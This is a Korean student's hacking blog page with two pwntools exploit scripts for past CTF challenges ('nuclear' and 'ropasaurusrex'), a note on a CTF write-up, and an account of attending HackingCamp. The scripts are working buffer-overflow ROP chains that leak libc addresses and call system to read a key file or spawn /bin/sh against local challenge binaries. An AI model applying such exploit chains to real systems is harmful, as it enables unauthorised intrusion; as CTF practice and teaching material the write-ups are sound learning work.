'분류 전체보기'에 해당되는 글 695건

2016-03-03

2016. 3. 3. 20:48

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2016-03-02

2016. 3. 3. 20:43

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.


라이브러리에서 구한 주소가 실제 내 라이브러리에서 했을 때 주소랑 다른걸 인지하지 못하고

계속 이상한 주소로 라이브러리가 구해지는 바람에 고생한 문제.

대회 환경과 같은 환경이 아니라는걸 명심하고 풀자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from time import *
from pwn import *
import struct
 
up32 = lambda x:struct.unpack('<L', x)[0]
p32 = lambda x:struct.pack('>L', x)
 
_bin = '/home/guest/bin/nuclear/nuclear'
 
elf = ELF(_bin)
rop = ROP(_bin)
 
recv_plt = elf.plt['recv']
recv_got = elf.got['recv']
send_plt = elf.plt['send']
offset_recv_system = 0x17bf50
bss = elf.bss()
vuln_func = 0x08048b5b
 
leak = 'A'*0x200
 
print "[*] recv@plt : %s" % str(hex(recv_plt))
print "[*] recv@got : %s" % str(hex(recv_got))
print "[*] send@plt : %s" % str(hex(send_plt))
print "[*] offset_recv_system : %s" % str(hex(offset_recv_system))
print "[*] bss : %s" % str(hex(bss))
 
#============== Passcode Leak & Library leak
 
conn = remote('localhost'1129)
 
conn.send('target')
sleep(0.3)
conn.send('1234.12341234/1234.12341234')
sleep(0.3)
conn.send(leak)
conn.recvuntil(leak)
passcode =  conn.recvuntil('\n')[8:][:-1]
conn.recv()
print "[*] Passcode : %s" % passcode
 
conn.send('launch\n')
sleep(0.1)
conn.send(passcode+"\n")
conn.recvuntil(': 100')
 
rop.send(4, recv_got, 40)
rop.recv(4, bss, 0x1000)
rop.raw(vuln_func)
rop.raw(0)
rop.raw(4)
payload = 'A'*(0x20c+4+ str(rop)
conn.send(payload)
sleep(0.1)
recv_lib = up32(conn.recvn(4))
system_lib = recv_lib - offset_recv_system
 
conn.send('/bin/cat ./key >&4\x00')
 
print "[*] recv_lib : %s" % str(hex(recv_lib))
print "[*] system_lib : %s" % str(hex(system_lib))
 
#============== Exploit
 
rop = ROP(elf)
rop.call(system_lib, [bss])
payload = "A"*(0x20c+4)+str(rop)
conn.send(payload)
print "[*] Key : "+conn.recv()
 
conn.close()
cs





역시 쉘을 따는건 귀찮았던 관계로 이렇게 키값만 가져오도록 했다.

'CTF > 지난 대회' 카테고리의 다른 글

Codegate Junior 2016 Prequal - watermelon  (0) 2016.04.23
2016 SSG CTF - mg (350p)  (0) 2016.04.14
Plaid CTF 2013 - ropasaurusrex (with pwntools)  (0) 2016.02.29
SecuInside 2013 - PE_time  (0) 2016.01.13
SecuInside 2013 - reader  (0) 2016.01.13
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

2016-03-01

2016. 3. 2. 20:29

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2016-02-29

2016. 3. 2. 20:28

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2016-02-28

2016. 2. 29. 01:29

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

이미 풀었던 문제이지만 이번 해킹캠프에서도 봤듯이 익스플로잇을 꽤 편하게 해주는 pwntools를 이용하여

다시 한번 익스플로잇을 짜고 돌려 보았다.

여기서 다시한번 알게된 사실은, 문제와 함께 주어지는 라이브러리 파일은 엄연히 대회 때의 라이브러리로,

내 서버나 로컬에서 돌릴 경우에는 당연하게도 라이브러리가 바뀌므로 해당 라이브러리 파일을 분석해서 offset을 구해도

문제를 푸는 데에 아무런 도움을 주지 않는다는 점이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
import struct
 
_bin = '/home/guest/bin/ropasaurusrex/ropasaurusrex'
 
elf = ELF(_bin)
rop = ROP(elf)
 
up32 = lambda x:struct.unpack('<L', x)[0]
 
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
offset_read_system = 0x9aa40
offset_binsh_read = 0x85e54
vuln_func = 0x080483f4
 
print "[*] read@plt : %s" % str(hex(read_plt))
print "[*] read@got : %s" % str(hex(read_got))
print "[*] write@plt : %s" % str(hex(write_plt))
print "[*] write@got : %s" % str(hex(write_got))
print "[*] offset_read_system : %s" % str(hex(offset_read_system))
print "[*] offset_binsh_read : %s" % str(hex(offset_binsh_read))
 
conn = remote('localhost'51000)
 
rop.write(1, read_got, 4)
rop.raw(vuln_func)
 
payload = "A"*(0x88+4+ str(rop)
conn.send(payload)
read_lib = up32(conn.recvn(4))
system_lib = read_lib - offset_read_system
binsh = read_lib + offset_binsh_read
 
print "[*] read@lib : %s" % str(hex(read_lib))
print "[*] system@lib : %s" % str(hex(system_lib))
print "[*] /bin/sh : %s" % str(hex(binsh))
 
rop = ROP(elf)
rop.call(system_lib , [binsh])
payload = "A"*(0x88+4+ str(rop)
conn.send(payload)
conn.interactive()
cs






확실히 푸는데에 직접 got, plt를 구하지 않아도 된다는 점이나 길이를 정해서 recv가 가능한 점,

알아서 rop를 구성해 주는 점 등은 정말 편하고 쓰기 좋았다.

하지만 유의할 점은, 익숙하지 않은 상태에서 억지로 이 툴을 사용해 익스플로잇을 하려고 하면

무슨 함수를 사용해야 하는지 등을 모르기 때문에 오히려 더 시간이 오래 걸릴 수도 있다는 것이다.

좀 더 확실하게 익히기 위해서 다른 문제들도 pwntools를 이용해 재풀이를 해봐야겠다.

'CTF > 지난 대회' 카테고리의 다른 글

2016 SSG CTF - mg (350p)  (0) 2016.04.14
Codegate Junior 2014 Prequal - nuclear (with pwntools)  (0) 2016.03.02
SecuInside 2013 - PE_time  (0) 2016.01.13
SecuInside 2013 - reader  (0) 2016.01.13
SecuInside 2013 - givemeshell  (0) 2016.01.13
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,



( 문제 서버가 닫혀서 이미지는 따로 첨부하지 않겠습니다. )



13th HackingCamp CTF Write-up.pdf


이번 팀명은 'CPerl' 이었습니다.

C 언어와 Perl 언어를 합쳐서 지은 이름으로, CTF 도중 튀어나오는 비속어들을 합법적으로 입밖으로 배출시키기 위하여 지은 이름이라고 합니다.

저는 전체 문제 중 웹 2문제, 포너블 6문제를 풀었습니다.

저번 12회 해킹캠프처럼 혼자 대부분의 문제를 풀어서 1위를 하는, 그런 영웅극(?)을 한번 더 찍어보고 싶었지만

이번에는 12회에 비해 문제 유형이 더욱 다양해지고 난이도도 올랐기 때문에 그렇게 하는 것은 쉽지가 않았습니다.

게다가 후배가 속했던 팀이 엄청 문제를 잘 풀어서 도저히 따라잡을수도 없었습니다.

결국 3위로 CTF를 마무리하게 되어 조금 아쉽다고 생각하고 있습니다.


마지막까지 열심히 풀어준 팀장님과 팀원들께도 고맙다는 말을 남기고 싶습니다.

다른 CTF에서도 열심히 문제를 풀도록 하겠습니다.

'CTF > Write-up' 카테고리의 다른 글

2016 sCTF Write-up  (0) 2016.04.17
Codegate 2016 Junior Prequal Write-up  (0) 2016.03.19
2015 Dimicon Prequal/Qual Write-up  (0) 2015.11.15
2015 Whitehat Contest Prequal  (0) 2015.10.13
제 12회 해킹캠프 CTF Write-up  (0) 2015.09.20
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,









2016년 2월 27일 ~ 28일 이틀간 진행된 제 13회 해킹캠프에 다녀왔습니다.

일정은 다음과 같았습니다,




첫째 날
10:30서울유스호스텔 훈훈한방 집결,
11:00 ~ 12:00조편성
12:00 ~ 13:00점심
13:00 ~ 13:40자기소개, 팀소개
13:40 ~ 14:20해킹, 해킹 공부, 해커의 미래 - Vangelis
14:30 ~ 15:10퍼징 삽질기 - 황호
15:20 ~ 16:00해커들이 영화나 드라마를 즐기는 법 시즌2 - 김재용
16:00 ~ 16:20이벤트
16:20 ~ 17:00있는거라도 잘 쓰자 - 최우석
17:00 ~ 17:30이벤트
17:30 ~ 18:30저녁식사
18:30 ~ 21:00CTF-1
21:00 ~ 25:00CTF-2

* 서울유스호스텔 규정에 따라 21:00 이후부터는 팀별 방에서 해킹캠프 CTF - 2를 진행

* CTF-2 시간은 상황에 따라 조정될 수 있음 

 

둘째 날
7:30 ~ 8:30아침식사
8:30 ~ 9:50휴식, 퇴실
10:00 ~ 10:35실리콘밸리 탐방기, 파이썬으로 시작하는 인공지능 - 김민주
10:45 ~ 11:20라틴아메리카 보안계 동향 - 원대로
11:30 ~ 12:10QR Code 리버싱 - 김민정
12:10 ~ 13:00점심식사
13:00 ~ 13:40암걸리는 ARM리버싱 - 이태양
13:50 ~ 14:30pwntools를 이용한 exploit - 임재혁
14:30 ~ 15:30CTF 풀이 세미나
15:40 ~ 16:20침해 사고 케이스 분석, 랜섬웨어를 이용한 시나리오 제작/분석 - 박상협
16:20 ~ 17:00Metasploit 101 - 권일택
17:00 ~ 18:00시상식, 폐회식, 귀가준비



Hack the Packet 시간은 12회 이후로 사라진 듯 해서 조금 아쉬웠습니다.


해킹캠프에 다녀오는 것은 이번으로 세 번째입니다.

보안 공부를 시작한 것은 고등학교에 들어오면서부터이지만, 그 당시에는 이런 곳에 대한 정보를 전혀 모르고 있었기 때문에

참가할 생각도 전혀 못 하고 있었고, 고2가 되어서야 겨우 해킹캠프라고 하는 곳이 있다는 것을 깨닫고 참가하게 되었습니다.

특히 이번 해킹캠프는 동아리 후배가 발표한다는 점에서 엄청 기대하고 갔습니다.

암걸리는 ARM 리버싱이라는 주제로 발표했는데, 진짜 열심히 준비한 흔적이 보였습니다.

CTF를 우승하는것도 모자라서 베스트 해커 상까지 받아서 보는 제가 더 뿌듯할 정도였습니다.

이제 BoB에만 합격하면 완벽하겠다고 생각했습니다.

전체적으로 저번보다 더 재밌었던 주제들도 많았고, 실질적으로 도움이 된 pwntools나 메타스플로잇 발표도 인상깊었습니다.

고3이라 다음 해킹캠프에는 참가할수 있을지 모르겠지만 가능하면 다시한번 더 참가하여 더 많은 지식을 얻어가고 싶습니다.










블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

2016-02-27

2016. 2. 28. 19:45

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.